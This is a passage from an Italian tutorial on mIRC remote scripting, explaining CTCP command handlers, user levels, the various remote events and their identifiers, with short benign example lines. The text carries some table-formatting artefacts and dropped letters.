che siano stati | | creati per loro degli altri comandi. | | | | {comando_ctcp} | | Il comando CTCP puo' avere qualsiasi nome si desideri. Puo' essere un | | nome standard, un comando CTCP gia' esistente, come Ping o Version | | oppure, puo' essere un comando di vostra creazione. (tipo OPME, D E, | | LEAVE, XDCC LIST,......) | | | | {comando/i_attivato/i con eventuali parametri} | | In questa parte si definisce il comando/i da attivare. Il loro formato e | | l'utilizzo di comandi multipli e' esattamente identico a quello | | utilizzato negli alias e nei popup. Le stringhe di questa sezi ne | | vengono riempite automaticamente da mIRC... Occorre solo assicurarsi che | | le stringhe utilizzate siano definite... quindi se hanno senso se | | utilizzati in comandi remote... (Ad esempio $chan NON vi ne definita nei | | comandi remote!!) | | | | Diamo uno sguardo al nostro esempio di ping e proviamo ad analizzarlo. | | | | | | ctcp 1:ping:/notice $nick ping? Hmmm! ...pang pang pang!! | | | | Il prefisso ctcp indica a mIRC che cio' che segue e' un comando remote. | | Nello stesso script possono essere utilizzati anche definizioni di | | alias, di eventi e di raw. Tutto cio' verra' meglio spiegato in seguito. | | | | 1 e' il livello del comando. Tutti gli utenti con un livello utente | | uguale o superiore a 1 possono seguire questo comando. | | | | Ping e' il comando CTCP a cui questo comando Remote reagira'. | | | | Il comando attivato e' un /notice. In questo caso viene inviato un | | notice a $nick contenente l'intera linea "ping? Hmmm! ... pang pang | | pang!!" $nick e' un identificatore che contiene il nick della per ona | | che ha eseguito il comando CTCP... in questo caso chi ha fatto un ping | | su di voi. (Altre informazioni sugli identificatori nel seguito di | | questa sezione.) | | | | Ricapitolando, l'effetto del comando "/ctcp ping" e' un | | "/notice {nick} ping? Hmmm! ...Pang pang pang!!" Il tutto viene eseguito | | appena viene ricevuto il CTCP Ping. | | | | È possibile utilizzare comandi multipli utilizzando il carattere |, come | | negli Alias e nei Popups. In questo modo un singolo comando Remote puo' | | attivare linee di comando multiple. L'utilizzo di | e' | | eramente semplice e lo tratteremo successivamente. Per ora utilizzate | | | come collante per due comandi remote. | | | | Reazioni differenti per persone con differenti livelli utente. | | | | È possibile calibrare le vostre reazioni ai comandi remote assegnando | | loro differenti livelli. mIRC rispondera' sempre ad un utente con la | | risposta di livello piu' alto che corrisponde al comando dato . | | Analizziamo il tutto con queste linee di esempio... | | | | | | ctcp 1:ping:/notice $nick ping? Hmmmm il tuo livello e' troppo basso... | | | /halt | | ctcp 2:ping:/notice $nick ping? Hmmm! ...pang pang .... Quasi morto!! | | ctcp 3:ping:/notice $nick ping? ...pang !! Hmmm... mancato... | | ctcp 6:ping:/notice $nick ping? Hmmm! ...Beh... mi piaci... ti permetto | | di farmi un ping.. | | | | Un utente di livello 1 non ricevera' alcuna risposta al ping eccetto un | | "ping? Hmmmm il tuo livello e' troppo basso..." | | | | Un utente di livello 2 (2:nick3!account3@machine.subnet.net) non | | sopravvivera' quando eseguira' un /ctcp ping ;o) Egli | | vedra' "ping? Hmmm! ...pang pang .... Quasi morto!!" | | | | Un utente di livello 3 (3:*!*@machine.subnet.edu) ricevera': " ping? | | ...pang !! Hmmm... mancato..." | | | | Gli utenti di livello 4 e 5 non hanno definita alcuna azione | | specifica... Il comando di livello piu' alto a loro disposizione e' | | quello di livello 3... quindi queste persone (5:*!account@*.subnet.edu) | | vedranno anch'esse la reazione di livello 3!! gli utenti di livello 6 e | | superiori otterranno la risposta al ping di livello 6... | | | | Questa differenziazione a livelli e' possibile per TUTTI i comandi | | remote (e eventi)... Assicuratevi di aver ben compreso tutto questo!!! | | Magari si rilegga la sezione precedente!! | | | | Identificatori speciali per le linee di comandi Remote. | | | | $nick, $address, $site, $level ecc. sono tutti identificatori speciali | | creati per essere utilizzati con le linee di remote. Possono venire | | utilizzate anche tutte le Definizioni di Stringhe (7-1-2). | | possibile utilizzarle come e quando si vuole all'interno delle linee | | attivate dai comandi remote... | | | | $nick Il nick della persona che ha inviato il comando o ha attivato | | l'evento. $address L'indirizzo completo della persona che ha inviato il | | comando. $site Il sito della persona che ha inviato il comando. | | $wildsite Restituisce l'indirizzo dell'utente che ha attivato l'evento | | nel formato *!*@host.domain $level Rappresenta il livello dell'utente | | remoto. Nota: $chan NON È SEMPRE DEFINITA nei comandi Remote... $chan | | solitamente contiene il canale sul quale e' stato dato il comando... I | | comandi CTCP non devo essere dati su un canale... oppure la persona che | | invia il comando puo' trovarsi su piu' canali... Capito?? Forse $active | | fara' cio' che desiderate? Oppure $target? | | | | Esempio: Ecco un esempio che utilizza il parametro predefinito | | $address... | | | | | | ctcp 1:address:/notice $nick Il tuo indirizzo e' $address | | | | Se un utente vi invia un comando '/ctcp {vostronick} address' , la | | risposta sara' un notice nel quale si leggera': "Il tuo indirizzo e' | | {qualsiasi indirizzo egli/ella abbia}". | | | | Esempio: Op di amici su richiesta (usando $2). | | | | Se non vi e' ancora chiaro di come tutto questo funzioni non | | preoccupatevi. Provate a seguire i seguenti esempi e vedete se fanno | | "click" nella vostra testa. Se necessario, leggete e rileggete gli es | | mpi precedenti. Ma non provate a scrivere i vostri comandi di Remote o | | di passare alla prossima sezione se non avete ben compreso il tutto. | | | | | | ctcp 1:opme:/notice $nick Spiacente, non verrai reso Op su $2 ... il tuo | | livello di accesso e' troppo basso ctcp 5:opme:/mode $2 +o $nick | | | | Se un amico con livello 5 invia '/ctcp {vostronick} opme {#nomecanale}', | | questo comando lo rendera' Op sul canale indicato. Le persone di livello | | 1 NON verranno rese Op per quanti tentativi esse facc ano.... | | | | In questo comando il parametro $2 viene utilizzato per fare riferimento | | alla seconda parola digitata nel comando CTCP opme. In questo caso, si | | tratta del nome del canale. ($1 sara' la parola 'opme') | | | | La $2- puo' essere utilizzata per processare una linea molto lunga | | inviata in un comando CTCP... | | | | | | ctcp 5:return:/notice $nick $2- | | | | Questo comando restituira' qualsiasi frase inviata dall'utente remoto. | | L'intera linea inviata dal remote user dopo il comando CTCP Return | | verra' posta nel parametro $2-. Che verra' restituito in un not ce. A | | "/ctcp {vostronick} return Bladiebla die bladie bla bla bla" fara' si | | che mIRC risponda eseguendo il comando "/notice friend Bladiebla die | | bladie bla bla bla". | | | | Comandi multipli. | | | | Un comando Remote CTCP puo' anche attivare comandi multipli.... | | | | | | ctcp 5:opme:/mode $2 +o $nick | /notice $nick Sei Op su $2 | | | | Se il vostro amico di livello 5 invia il comando: | | | | | | '/ctcp {vostronick} opme #nomecanale' | | | | Che cosa succede?? | | In pratica vengono attivati due comandi dal comando Remote CTCP opme... | | | | uno "/mode #name +o friend" | | due "/notice friend Sei Op su #name" Un altro comando CTCP che attiva | | comandi multipli: | | | | | | ctcp 10:part:/part $2 | /notice $nick Sono uscito dal canale $2 | | | | E se un utente di livello 10 vi invia: | | | | | | '/ctcp {vostronick} part #nomecanale' | | | | questo comando fa si voi usciate da un canale su richiesta e segnalera' | | al richiedente l'avvenuta uscita... | | | | $2 contiene il nome del canale dal quale dovete uscire. | | $nick e' il nick della persona che ha fatto la richiesta. | | | | Altri esempi. | | | | | | ctcp 1:ping:/notice $nick Per favore non fare ping su di me. | | | | ...risponderebbe con: "/notice {nick} Per favore non fare ping su di | | me." | | | | | | ctcp 5:time:/notice $nick È ora di comprarsi un orologio. | | | | ...risponderebbe con: "/notice {nick} È ora di comprarsi un orologio. | | | | | | ctcp 10:whoareyou:/notice $nick Io sono chi dico di essere | /notice | | $nick E ti dico che io sono TE! | | | | ...risponderebbe con: "/notice {nick} Io sono chi dico di essere" | | seguita da "/notice {nick} E ti dico che io sono TE!" | | | | Remote Script - Eventi. | | In mIRC si selezioni Tools/Remote/ per aprire l'Editor di mIRC, quindi | | si selezioni il menu 'View' e si selezioni lo script di nome | | "events.ini". Nel caso non fosse disponibile uno script di events | | e ne carichi uno predefinito o se ne crei uno nuovo tramite File/New/. | | Un nuovo script ha come nome di base script1.ini. | | | | Come si e' visto, le linee di Remote CTCP Script agiscono solo sui | | comandi CTCP. I Remote Events operano con tutto il resto che puo' | | accadere su IRC. Se cio' puo' suonare complicato non preoccupatevi. C me | | spiegato in precedenza, queste lezioni sono cumulative. Se avete capito | | i comandi Remote, I Remote Events saranno una bazzecola. Avete gia' | | imparato le cose veramente difficili. | | | | Attenzione: Generalmente mIRC puo' essere molto sensibile a sintassi di | | Remote Event scritte malamente. Utilizzare una sintassi scorretta puo' | | dare origine a GPF (General Protection Fault - Errori Irr versibili), | | quindi nel caso si abbiano degli improvvisi problemi di stabilita' con | | mIRC, questa e' la prima cosa da controllare! | | | | Sintassi dei Remote Event. | | | | I Remote Events sono: TEXT, JOIN, PART, KICK, OP, DEOP, NICK, QUIT, | | TOPIC, SERVEROP, NOTIFY, MODE, SERVERMODE e SMODE. Oltre all'evento TEXT | | sono disponibili eventi simili: ACTION, NOTICE, SNOTICE, | | HAT, SERV e WALLOPS per origini di testi piu' specifiche. Nuovi sono gli | | eventi FILESENT, FILERCVD cosi' come gli eventi CHATOPEN, CHATCLOSE, | | SERVOPEN e SERVCLOSE e molti altri | | | | Cio' che essi fanno e come utilizzarli verra' spiegato fra breve. Per | | prima cosa, alcuni rapidi esempi ed una spiegazione della sintassi | | utilizzata. | | | | La sintassi e' essenzialmente simile a quella dei comandi Remote. Ecco | | un esempio di un Remote Event che reagisce a TEXT: | | | | | | on 1:TEXT:ciao:#:/msg $nick Ciao anche a te! | | | | Si vada in Tools/Remote e si osservi il file di script denominato | | events.ini, se gia' presente. Se non lo fosse tramite il menu File si | | selezioni 'New' per creare un nuovo script. Assicuratevi che so to | | "Listening" sia selezionata la voce events. (Quando le voci sotto | | "Listening" non sono attive, gli eventi da voi creati saranno ignorati | | da mIRC). Ora si inserisca l'esempio precedente all'intern di un file | | di script gia' esistente o di uno nuovo. | | | | Questo Remote Event viene attivato quando viene trovata la parola "ciao" | | all'interno di qualsiasi canale. La risposta di mIRC consiste nell'invio | | di un messaggio privato alla persona che ha scritto | | iao, nel quale si dice: "Ciao anche a te!" | | | | Ecco un altro esempio, questa volta che utilizza JOIN: | | | | on 1:JOIN:#:/notice $nick Benvenuto su $chan | | | | Questo evento viene attivato ogni volta che un nuovo utente entra su un | | canale sul quale siete presenti anche voi. Viene inviato un notice che | | dice "Benvenuto su {nomecanale}". | | | | Se siete arriva sino a questo punto ed avete capito i comandi Remote, | | cio' dovrebbe essere abbastanza semplice per voi. | | | | I Remote Events hanno 3, 4 o 5 parti separate da due punti. Tutti gli | | eventi hanno 4 parti ad eccezione di TEXT che ne ha 6 e di QUIT e NICK | | che ne hanno solo 3. | | | | Tutti gli eventi esclusi TEXT, NOTICE, SNOTICE, ACTION, QUIT e NICK | | hanno il seguente formato: | | | | {livello_evento}:{evento}:{dove}:{comando/i_attivato/i con eventuali | | parametri} | | | | {livello_evento} | | Questo evento avra' effetto su tutti gli utenti con questo livello | | utente e tutti i livelli superiori, a meno che altri eventi siano stati | | creati per essi. Esattamente come per il livello_comando nei comandi | | Remote. | | | | {evento} | | Il nome dell'evento che si sta ascoltando. JOIN, OP, ecc. | | | | {dove} | | #, #name. Dove si e' in ascolto per questo evento? O # (qualsiasi | | canale) oppure il nome di uno specifico canale (come #test). | | | | ECCEZIONE: Non viene utilizzato con NICK o QUIT. Quindi semplicemente si | | salti questa parte. | | | | {comando/i_attivato/i con eventuali parametri} | | Il comando attivato. Esattamente come i comandi Remote con la differenza | | che vi sono alcuni parametri predefiniti differenti. | | | | ...e naturalmente, le grosse eccezioni sono gli eventi TEXT, ACTION, | | NOTICE, SNOTICE, CHAT e SERV che funzionano come: | | | | {livello_evento}:{evento}:{quale_testo}:{dove}:{comando/i_attivato/i con | | eventuali parametri} | | | | {livello_evento} | | Come sopra. | | | | {evento} | | Ovviamente sara' un TEXT o qualche cosa di simile.. | | | | {quale_testo} | | Specifica la parola o la frase per la quale si e' in ascolto. | | Ad esempio "Ciao" come nel primo esempio. | | | | {dove} | | #, #name, ?, *. Come sopra, potete a TEXT e ACTION di ascoltare tutti i | | canali (#) o solo uno o piu' canali (come #test). Ma e' anche possibile | | indicare di restare in ascolto su tutti i messaggi priva i che ricevete | | o sia sui testi di un canale che dei messaggi privati (*).Un evento TEXT | | o ACTION non puo' "sentire" i messaggi in DCC Chat o Server. NOTICE | | ascolta i notice cosi' come CHAT ascolta i t sti nelle connessioni DCC | | Chat e SERV per il testo nelle finestre di DCC File Server. | | | | {comando/i_attivato/i con eventuali parametri} | | Come sopra. | | | | Gli Events | | | | Ecco l'elenco dei vari Remote a cui mIRC puo' rispondere... | | | | evento TEXT Avviene quando vengono trovate su un canale o in messaggi | | privati le parole/frasi specificate. ACTION e NOTICE funzionano nello | | stesso modo... | | | | Esempio: | | | | | | on 1:TEXT:nonsense:#:/kick $chan $nick No nonsense! | | | | Questa linea cerca la parola "nonsense" su qualsiasi canale ed esegue un | | kick sull'utente che l'ha pronunciata. | | | | Esempio: | | | | | | on 1:TEXT:nonsense:#test:/kick $chan $nick | /notice $nick Ciao $nick , | | ha detto 'nonsense' e cio' non e' permesso su #test... | | | | Se viene detta la parola "nonsense" sul canale #test, che l'ha | | pronunciata viene escluso dal canale con un kick (se siete Op su #test) | | e gli viene inviato un notice: "Ciao {nick} , hai detto 'nonsen e' e | | cio' non e' permesso su #test..." | | | | Esempio: | | | | | | on 5:TEXT:aiuto:?:/notice $nick Vorrei poterti aiutare, ma non posso. | | | | Se in un qualsiasi messaggio privato trova la parola "aiuto" replica | | all'utente con il notice: "Vorrei poterti aiutare, ma non posso". | | | | È possibile specificare dei caratteri jolly all'interno del testo a cui | | mIRC deve reagire: | | | | * = reagisce a qualsiasi testo =word = NON piu' supportato!! (non piu' | | necessario) word* = se un utente inizia una riga con questa parola si | | attiva l'evento. | | *word = se un utente finisce una riga con questa parola si attiva | | l'evento. *word* = se un utente dice questa parola o frase in qualsiasi | | posizione si attiva l'evento. | | word = richiede una esatta corrispondenza per attivare l'evento... | | | | Esempio: | | | | | | on 5:TEXT:aiuto:?:/notice $nick Vorrei poterti aiutare, ma non posso. | | | | Questo evento reagisce solamente ad una richiesta di aiuto che contenga | | solo la parola aiuto... non se la linea contiene anche la parola | | 'aiuto'... | | | | Esempio: | | | | | | on 5:TEXT:ciao*:?:/notice $nick Ciao a te! | | | | Questo evento reagira' solamente a linee di messaggi privati che inizino | | con la parola 'ciao'. | | | | Altri esempi: | | | | | | on 1:TEXT:whoami:*:/notice $nick Il tuo livello e' $level | | on 1:TEXT:*ok:/msg $nick La tua frase termina con 'ok' | | | | evento ACTION | | Si veda l'evento TEXT.... funziona esattamente nello stesso modo... | | | | evento NOTICE | | Si veda l'evento TEXT.... funziona esattamente nello stesso modo... | | | | evento CHAT | | Funziona esattamente come l'evento TEXT ma resta in ascolto sui testi | | delle DCC Chat. | | | | Esempio: | | | | | | on 1:CHAT:blabla:/msg $me $nick ha detto $1- nella vostra DCC Chat. | | | | evento SERV | | Funziona come l'evento CHAT ma resta in ascolto sui testi delle DCC | | Fileserver | | | | Esempio: | | | | | | on 1:SERV:get mirc:/echo server 6 To $nick invio del file zip di mIRC. | | | | evento JOIN | | Si verifica quando un utente entra su un canale. | | | | Esempio: | | | | | | on 1:JOIN:#test:/notice $nick Benvenuto sul canale #test! | | | | Invia un notice che dice "Benvenuto sul canale #test!" a chiunque entri | | sul canale #test. | | | | Esempio: | | | | | | on 25:JOIN:#cool:/kick $chan $nick Non sei il benvenuto qui! | | | | Fa un kick a qualsiasi utente di livello 25 che entri su #cool con il | | messaggio: "Non sei il benvenuto qui!" | | | | evento PART | | Si verifica quando un utente lascia un canale. | | | | Esempio: | | | | | | on 10:PART:#:/notice $nick Hey, grazie per aver visitato $chan ! | | | | Invia un notice che dice: "Hey, grazie per aver visitato {canale} !" a | | chiunque col livello 10 lascia il canale sul quale vi trovate. | | | | Esempio: | | | | | | on 90:PART:#:/msg $chan Yahoo! $nick se ne e' andato! | | | | Invia un messaggio al canale dicendo:"Yahoo, {nick} se ne e' andato!" se | | chiunque col livello 90 lascia il canale sul quale vi trovate. | | | | evento CONNECT | | Questo evento si attiva appena ricevuto il MOTD dopo la connessione ad | | un server (identico alla sezione perform). | | | | Esempio: | | | | | | on 1:CONNECT:/echo Connesso al server $server ! | | | | evento DISCONNECT | | Si attiva quando si perde il collegamento ad un server. | | | | | | on 1:DISCONNECT:/echo Ooops... hai perso il collegamento. | | | | evento KICK | | Si verifica ogni volta che un utente riceve un kick da un canale. | | | | Esempio: | | | | | | on 100:KICK:#:/kick $chan $nick | /invite $knick $chan | /notice $nick | | Questa persona e' un mio amico! | | | | Se una qualsiasi persona di livello 100 riceve un kick da qualsiasi | | canale, voi farete un kick su chi ha fatto il kick precedente, | | inviterete la persona a tornare ed invierete un "Questa persona e' u | | mio amico!" a chi lo ha cacciato. | | | | Nota: $knick in questo evento e' il parametro per il nick di chi riceve | | il kick. Inoltre si noti come questo esempio presenti comandi multipli. | | Funziona esattamente come i comandi Remote. | | | | evento OP | | Si verifica quando un utente riceve l'op. | | | | Nota: Questo evento richiede che le persone siano indicate nella | | Remote/Users list tramite il loro NICK! | | | | Esempio: | | | | | | on 1:OP:#test:/notice $opnick Sei stato reso Op da $nick . Benvenuto! | | | | Se qualcuno riceve un Op su #test, riceve un notice: "Sei stato reso OP | | da {opper}. Benvenuto!" | | | | Nota: $opnick in questo evento e' il parametro per il nick della persona | | che riceve l'op. | | | | evento DEOP | | Si verifica quando un utente perde l'op. | | | | Nota: Questo evento richiede che le persone siano indicate nella | | Remote/Users list tramite il loro NICK! | | | | Esempio: | | | | | | on 1:DEOP:#:/msg $opnick Che sfortuna. $nick ti ha tolto l'Op | | | | Se qualcuno perde l'op, riceve un messaggio: "Che sfortuna. {deopper} ti | | ha tolto l'Op. | | | | Nota: $opnick in questo evento e' il parametro per il nick della persona | | che perde l'op. | | | | Nota: | | Nella spiegazione degli eventi OP, DEOP, SERVEROP cosi' come per NOTIFY | | e' importante sottolineare una cosa. Per il fatto che i server indicano | | solamente i nick delle persone che ricevo o perdono l'op o che appaiono | | nel notify su IRC, gli eventi OP, DEOP, SERVEROP e NOTIFY funzionano | | correttamente solo se le persone che ricevono l'op, che perdono l'op o | | di cui viene notificata la presenza sono in icate nella Users list | | tramite il loro nick. Anche specificare l'indirizzo completo | | (nick!account@machine.address.net) NON e' sufficiente... mIRC non | | estrarra' il nick da questa linea. L'unica eccezio e e' se si desidera | | che l'evento abbai effetto su tutti, dando un livello di accesso di 1 o | | qualsiasi altro valore si sia impostato come valore standard. Questo e' | | l'unico caso nel quale non occorre a ere un utente nella User list con | | il suo nick. | | | | Se si desidera assegnare alle persone un livello corretto per gli eventi | | OP, DEOP, SERVEROP o NOTIFY si dovra' inserirli nella Users list con il | | loro nick, tipo: | | | | | | 3:friendasnick | | 5:friendbsnick | | 5:friendcsnick | | 10:friendbsnick!accountb@bsmachine.net | | | | Questo metodo vi fornisce un buon motivo per indicare le persone nella | | Users list sia tramite il loro indirizzo completo (sono permessi i | | caratteri jolly) ed il loro nick. In tal modo si puo' garanti e la | | reazione opportuna a OP, DEOP o SERVEROP senza dover fornire per sbaglio | | a TUTTE le persone con lo stesso nick gli stessi diritti dei vostri | | amici (o nemici). | | | | evento BAN | | evento UNBAN | | Con l'evento BAN e' possibile togliere facilmente il ban ai vostri | | amici. | | | | Esempio: | | | | | | on 5:BAN:#tree:/mode $chan -b $banmask | | | | $banmask conterra' l'indirizzo completo che ha ricevuto il ban. Facile | | no? L'identificatore $bnickfa riferimento al nick dell'utente che riceve | | il ban. Tale identificatore non sempre viene assegnato | | n quanto alcune volte nella banmask non viene specificato alcun nick! | | UNBAN funziona esattamente come BAN. | | | | evento INVITE | | Si verifica quando si viene invitati su un canale. | | | | Esempio: | | | | | | on 5:INVITE:#test:/join $chan | /describe $chan ti ringrazia per averlo | | invitato! | | | | Se si viene invitati su #test, si entrera' sul canale e si utilizzera' | | una action che dice: "{me} ti ringrazia per averlo invitato!" | | | | evento NICK | | Si verifica quando un utente cambia il proprio nick. | | | | Esempio: | | | | | | on 1:NICK:/notice $newnick Penso che $nick fosse un nickname piu' | | simpatico! | | | | Invia un notice a chiunque cambia il proprio nick, "Penso che {il | | vecchio nick} fosse un nickname piu' simpatico!" | | | | Nota: $nick e' il parametro contenente il vecchio nick e $newnick per | | (indovinate cosa?) il nuovo nick. | | | | Nota: La parte {dove} non viene utilizzata in NICK. | | | | evento QUIT | | Si verifica quando un utente esce da IRC. | | | | Esempio: | | | | | | on 2:QUIT:/notice $me È ora di divertirsi! $nick ha appena lasciato IRC! | | | | | | Quando qualcuno esce, inviate un notice a voi stessi : "È ora di | | divertirsi! {Nick} ha appena lasciato IRC!" | | | | Nota: La parte {dove} non viene utilizzata in QUIT. | | | | evento TOPIC | | Si verifica quando il topic di un canale cambia. | | | | Esempio: | | | | | | on 1:TOPIC:#:/msg $chan Wow, mi piace questo nuovo topic! | | | | Se il topic di un canale cambia, invia un messaggio al canale che dice: | | "Wow, mi piace questo nuovo topic!" | | | | evento SERVEROP | | Si verifica quando un server assegna (restituisce) lo stato di Op ad un | | utente del canale. | | | | Nota: Questo evento richiede che le persone siano indicate tramite NICK | | all'interno della Remote/Users list ! | | | | Esempio: | | | | | | on 1:SERVEROP:#mirc:/mode $chan -o $nick | /notice $opnick Spiacente, | | gli op da server non sono permessi su $chan | | | | Se una persona riceve l'op da server su #mIRC allora, alla persona che | | ha ricevuto l'op viene tolto e ricevera' un notice: "Spiacente, gli op | | da server non sono permessi su #mIRC". Gli op da server s litamente si | | verificano dopo un netjoin quando due server precedentemente scollegati | | scambiano e aggiornano tutti i mode di canale. | | | | evento NOTIFY | | evento UNOTIFY | | Questi eventi si attivano appena una persona presente nella vostra lista | | di notify si collega ad IRC o ne esce. | | | | Nota: Questo evento richiede che le persone siano indicate tramite NICK | | all'interno della Remote/Users list ! | | | | È possibile utilizzare questo evento per eseguire azioni tipo un /whois | | sul nick segnalato per assicurarsi che si tratti effettivamente della | | persona che conoscete.... Ricordate che questo evento fu ziona SOLO sui | | nick indicati nella remote/user tramite NICK.... (come per OP, DEOP e | | SERVEROP) Cio' e' dovuto al protocollo IRC che non fornisce l'indirizzo | | della persona segnalata... Si deve inserire il nick in | | File/Options/Notify_List e da questo momento appena mIRC si accorge che | | la persona e' su IRC viene attivato questo evento. L'evento UNOTIFY si | | attivera' appena mIRC si accorge che nick ha l sciato IRC o ha cambiato | | il suo nick. | | | | Esempi: | | | | | | on 1:NOTIFY:/notice $nick Se sei veramente $nick alla entra su #mine per | | favore! on 1:UNOTIFY:/echo $active $nick ha lasciato IRC. | | on 3:NOTIFY:/whois $nick | | on 5:NOTIFY:/beep 10 50 | /whois $nick | | | | evento MODE | | evento SERVERMODE | | Questi eventi reagiscono ai cambiamenti nei mode di canale. | | | | L'evento MODE ha cambiato la sua sintassi. Non forza piu' i mode di | | canale. $1- viene ora riempito con i cambiamenti di mode eseguiti. Si | | utilizzi questi eventi per reagire ai cambiamenti di mode del canale. | | | | Esempi: | | | | | | on 1!:MODE:#name:/echo 6 Cambiamenti di Mode da parte di $nick su $chan | | ! on 1!:SERVERMODE:#name:/echo 6 Cambio di mode da parte del server in | | $1- | | | | Si ricordi che se si concede ad una persona con un livello utente alto | | di poter cambiare i mode di canale senza che voi reagiate, utenti con un | | livello piu' basso potranno fare confusione! Appena cam iano un mode (o | | lo cambia il server) viene attivata la forzatura dei mode; mIRC non | | ricorda che parte di questi mode e' stata impostata da una persona con | | un alto livello utente... Si faccia attenzi ne anche ai cicli infiniti | | nei quali piu' persone su un canale forzano i cambi di mode!! | | | | evento USERMODE | | Questo evento si attiva quando cambiati i vostri mode utente. | | | | Quando i vostri mode cambiano (ad esempio a +i) questo evento se ne | | accorge e fornisce la possibilita' di reagire. | | | | evento VOICE | | evento DEVOICE | | Questi eventi reagiscono quando le persone ricevono o perdono il voice | | sui canali. | | | | Esempi: | | | | | | on 1:VOICE:/notice $nick Benvenuto nel mondo dei parlatori! | | on 1:DEVOICE:/notice $vnick Hey, $nick ha il permesso di parlare! | | | | evento SNOTICE | | Questo evento resta in ascolto per i notice da server. I notice da | | server segnalano tutto quello che succede nel server IRC utilizzato. Per | | riceverli occorre impostare il proprio user mode a +s (/mo e #nickname | | +s).La maggior parte delle persone non hanno bisogno di questa | | impostazione... È una funzione pensata essenzialmente per gli IRCop ed i | | gestori dei server. Con questo evento e' possibile | | iltrare i notice da server che ricevete ed impedire che essi vengano | | visualizzati e/o reagire a questi eventi. La sintassi dell'evento e' | | molto simile a quella dell'evento TEXT... | | | | | | 1:SNOTICE:servers_testo:/echo 6 status Il server segnala: $1- | | | | evento FILESENT | | Questo evento reagisce a tutti i trasferimenti di file tramite DCC Send | | completati con successo. Puo' essere utilizzato per inviare a voi stessi | | o al ricevente un breve messaggio... | | | | | | on 1:FILESENT:*.txt,*.ini:/echo Inviato $nomefile a $nick ( $+ $address | | $+ ) | | on 1:FILESENT:mirc50s.exe:/notice $nick Buon divertimento con mIRC a 16 | | bit | | on 1:FILESENT:mirc50t.exe:/notice $nick Buon divertimento con mIRC a 32 | | bit | | | | evento FILERCVD | | Questo evento reagisce a tutti i trasferimenti di file tramite DCC Get | | completati con successo. Viene attivato appena un file viene ricevuto | | completamente. Puo' essere utilizzato per inviare a voi st ssi o al | | trasmittente un breve messaggio oppure per avviare una applicazione per | | visualizzare l'immagine, il suono o il testo ricevuto. | | | | | | on 1:FILERCVD:*.txt,*.ini:/run notepad.exe $nomefile | | on 1:FILERCVD:*.wav:/wavplay $nomefile | | on 1:FILERCVD:*.gif:/run c:\windows\wingif\wingif.exe $nomefile | | on 1:FILERCVD:*.jpg:/run c:\windows\lview\lviewp19.exe $nomefile | | on 1:FILERCVD:*.mid,*.voc:/run wplany.exe $nomefile | | on 1:FILERCVD:*.*:/notice $nick Grazie per il file! | | | | evento SENDFAIL | | evento GETFAIL | | Questi eventi si attivano quando un DCC transfer fallisce a causa di una | | perdita di connessione o per time-out. | | | | Esempi: | | | | | | on 1:SENDFAIL:*.txt:/echo fallito l'invio di $nomefile a $nick | | on 1:GETFAIL:*.txt:/echo fallita la ricezione di $nomefile da $nick | | | | evento CTCPREPLY | | Resta in ascolto per le risposte ai ctcp: | | | | | | on 1:CTCPREPLY:PING*:/echo $active Ricevuta risposta al ping da $nick | | on 1:CTCPREPLY:*mirc*:/echo $active Wow $nick utilizza anche lui mIRC! | | | | evento MIDIEND | | Questo evento si attiva quando un file midi finisce di essere eseguito | | (ma non se lo si interrompe per eseguire un altro midi o utilizzando | | /splay stop). | | | | Esempio: | | | | | | on 1:MIDIEND:/echo mIRC ha terminato l'esecuzione del file midi! | | | | evento INPUT | | Questo evento si attiva quando si immette un qualsiasi messaggio di | | testo nell'editbox e si preme Invio. È possibile manipolare la linea | | tramite uno script o in qualsiasi altro modo si desideri! /ha t | | impedisce la normale gestione del testo. | | | | Esempio: | | | | | | on 1:INPUT:/echo ha inserito $1- | | | | evento LOAD | | Si attiva quando mIRC viene avviato e gli script vengono caricati. | | | | evento START Si attiva appena uno (nuovo) script e' pronto | | all'esecuzione. | | | | | | on 1:LOAD:/echo script caricato con successo | | on 1:START:/echo script avviato | | | | Con l'evento LOAD e' possibile dare comandi mentre mIRC carica gli | | script. Per fornire comandi di inizializzazione da eseguire quando mIRC | | viene eseguito per la prima volta (e caricare automaticament degli | | script) utilizzare l'evento START. La sezione START viene eseguita | | successivamente alla sezione LOAD quando uno script viene caricato per | | la prima volta. Se uno script viene caricato tramite | | a finestra di dialogo remote, i comandi di auto-run non verranno | | eseguiti sino a quando la finestra di dialogo non verra' chiusa. | | | | Identificatori speciali per le linee di Remote Event. | | | | $nick, $address, $site ecc. sono tutti identificatori speciali creati | | per essere utilizzati nelle linee di remote. È possibile utilizzarli | | come si desidera nelle linee attivate dagli eventi remoti.. | | | | | | $nick Il nick della persona che ha inviato il comando o ha attivato | | l'evento. $address L'indirizzo completo della persona che ha inviato il | | comando. $site Il sito della persona che ha inviato il comando. | | $wildsite Restituisce l'indirizzo dell'utente che ha attivato l'evento | | nel formato *!*@host.domain $level Rappresenta il livello dell'utente | | remoto. $chan Il canale sul quale alcuni eventi attivano una linea di | | Remote/Events. $target Il destinatario dell'evento (nei notice da | | server) | | | | | | 7-3-4 I vari marcatori che e' possibile utilizzare davanti alle linee di | | CTCP i di Remote/Events. | | Per finire alcune note sull'utilizzo dei vari marcatori che possono | | essere utilizzati nella sezione Remote. (Con comandi e/o eventi) I vari | | marcatori che e' possibile utilizzare richiedono di essere | | rovati un po'.... verificare cosa fanno e quando. Verificare se svolgono | | cio' che si desidera e provarli moltissimo! | | | | Il marcatore !. (solo per gli Events) | | | | Questo marcatore fa chi che gli eventi non vengano attivati a seguito di | | vostre azioni.... mIRC non reagira' a cose dette o fatte da clienti con | | il vostro indirizzo.(Un marcatore simile e' il marcator flag 'me' ... | | che assicura che non venga attivato nulla dal cliente IRC da voi | | utilizzato. Reagisce a qualsiasi altro cliente IRC che potreste stare | | utilizzando simultaneamente.) | | | | Esempio: | | | | | | on 1!:JOIN:#mine:/notice $nick Benvenuto. | | | | Non reagisce se voi entrate su #mine ....tutti gli altri riceveranno il | | messaggio di Benvenuto. | | | | Il marcatore = (solo per gli Events) | | | | Questo marcatore viene utilizzato per impedire che accada qualsiasi cosa | | .... e' possibile utilizzarlo per non infastidire le persone con un | | livello utente elevato con eventi pensati per persone con | | ivelli piu' bassi. | | | | Esempio: | | | | | | on 1:JOIN:#mine:/ctcp $nick VERSION | | on 3:JOIN:#mine:= | | | | Gli utenti di Livello 1 e 2 riceveranno una richiesta di Version mentre | | gli utenti di livello 3 o superiore non vedranno nulla di tutto cio',... | | nemmeno voi. (Nella versione 3.2 si doveva impostare u evento vuoto per | | fare cio'). | | | | Esempio: | | | | | | on 1:JOIN:#test1:/notice $nick Benvenuto su #test1 | | on 